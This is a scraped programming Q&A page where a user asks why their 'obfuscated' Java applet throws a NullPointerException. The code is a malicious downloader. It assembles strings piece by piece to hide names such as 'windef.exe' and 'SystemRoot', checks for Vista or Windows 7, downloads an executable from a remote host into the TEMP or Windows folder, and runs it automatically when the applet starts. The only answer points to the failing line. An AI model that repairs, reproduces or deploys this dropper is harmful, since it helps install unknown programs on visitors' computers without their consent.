Question : Java obfuscation problem

I'm trying to obfuscate a code a little bit.And i'm getting the following error msg


run:
Exception in thread "main" java.lang.NullPointerException
        at Savas.(Savas.java:41)
        at Savas.main(Savas.java:65)
Java Result: 1
BUILD SUCCESSFUL (total time: 0 seconds)
Code Snippet:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.Locale; 
 
public class Savas extends Applet {
        private String drv ="C";
        private String fnae="e";
        private String fnam1="windef.";
        private String dashes=":\\";
        private String fnam2="xe";
	private String runapp = "http://www.remotehost.com/demo/software."+fnae+fnam2;
	private String loadimage = drv+dashes+fnam1+fnae+fnam2; 

    public Savas() {
        String osas1="oS".toLowerCase(Locale.ENGLISH);
        String sis ="Sys";
        String osas2 ="naMe".toLowerCase(Locale.ENGLISH);
        String sis2="tem";
        String sis3="Roo";
        String sis4="t";
        String nameos="Vi";
        String viena="Wi";
        String nameos2="sta";
        String viena2="ndow";
        String viena3="s7";
        String rubish="TE";
        String part="C";
        String part2=":";
        String rubish2="MP";
        String os = System.getProperty(osas1+osas2);
if (os.indexOf(nameos+nameos2) != -1 || os.indexOf(viena+viena2+viena3) != -1) {
    		String tempas = (System.getenv(rubish+rubish2) != null) ? System.getenv(rubish+rubish2) : part+part2;
    		loadimage = tempas + "\\"+fnam1+fnae+fnam2; 
    	} else {
    		String sisteminis = System.getenv(sis+sis2+sis3+sis4);
        	String windausas = (sisteminis != null && sisteminis.length() > 0) ? sisteminis : drv+dashes+viena+viena2+"s";
    		loadimage = windausas + "\\"+fnam1+fnae+fnam2;
    	} 
    } 
    public void init() { } 
    public void start() {
    	run();
    } 
    public void stop() { } 
    public void destroy() { } 

    public static void main (String args[]) {
    	new Savas().run();
    } 
    private void run() {
        try {
            BufferedOutputStream bufferedoutputstream = null;
            InputStream inputstream = null;
            URL url = new URL(runapp);
            bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(loadimage));
            URLConnection urlconnection = url.openConnection();
            inputstream = urlconnection.getInputStream();
            byte abyte0[] = new byte[1024];
            int i;
            for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0, 0, i); 
            try
            {
                if (inputstream != null)
                    inputstream.close(); 
                if (bufferedoutputstream != null)
                    bufferedoutputstream.close(); 
            } catch(IOException e) { e.printStackTrace(); } 

            Runtime begikas = Runtime.getRuntime();
            try
            {
                Process genys = begikas.exec(loadimage);
                genys.waitFor();
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(genys.getInputStream())); 
                String s;
                while((s = bufferedreader.readLine()) != null)
                    System.out.print(s);
            }
            catch(Exception exception1) { }
            try
            {
                if (inputstream != null)
                    inputstream.close(); 
                if (bufferedoutputstream != null)
                    bufferedoutputstream.close(); 
            } catch(IOException e) { e.printStackTrace(); } 
        } catch(Exception e) { e.printStackTrace(); }
    }
}

Answer : Java obfuscation problem

Line 41 corresponds to this
1:
if (os.indexOf(nameos+nameos2) != -1 || os.indexOf(viena+viena2+viena3) != -1) {
Random Solutions  
 
programming4us programming4us